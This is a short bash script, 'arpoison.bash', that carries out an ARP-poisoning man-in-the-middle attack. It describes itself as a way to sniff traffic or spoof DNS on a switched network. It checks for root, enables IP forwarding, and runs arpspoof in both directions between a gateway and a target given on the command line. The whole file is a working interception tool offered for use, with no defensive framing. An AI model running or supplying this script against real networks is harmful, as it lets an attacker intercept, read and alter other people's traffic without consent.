bash/arpoison.bash

   1 echo Simple poisoned ARP MITM attack
   2 echo Use this to sniff/dnsspoof in switched network
   3
   4 if [ $(whoami) != "root" ]; then
   5         echo You have to be root \;P
   6         exit;
   7 fi;
   8
   9 if [ -z "$2" ]; then
  10         echo Usage: $0 gateway target
  11         exit;
  12 fi;
  13
  14 echo "$1" \<---\> YOU \<---\> "$2"; echo;
  15
  16 cleanup() {
  17         kill -2 $(jobs -p); > /dev/null 2>&1
  18         kill -9 $(jobs -p); > /dev/null 2>&1
  19         echo All background jobs stoped!
  20         exit;
  21 }
  22
  23 trap "cleanup" SIGINT;
  24 echo 1 > /proc/sys/net/ipv4/ip_forward
  25 # sysctl -w net.inet.ip.forwarding=1
  26 arpspoof -t "$2" "$1" &
  27 arpspoof -t "$1" "$2" &
  28 while true; do sleep 100; done;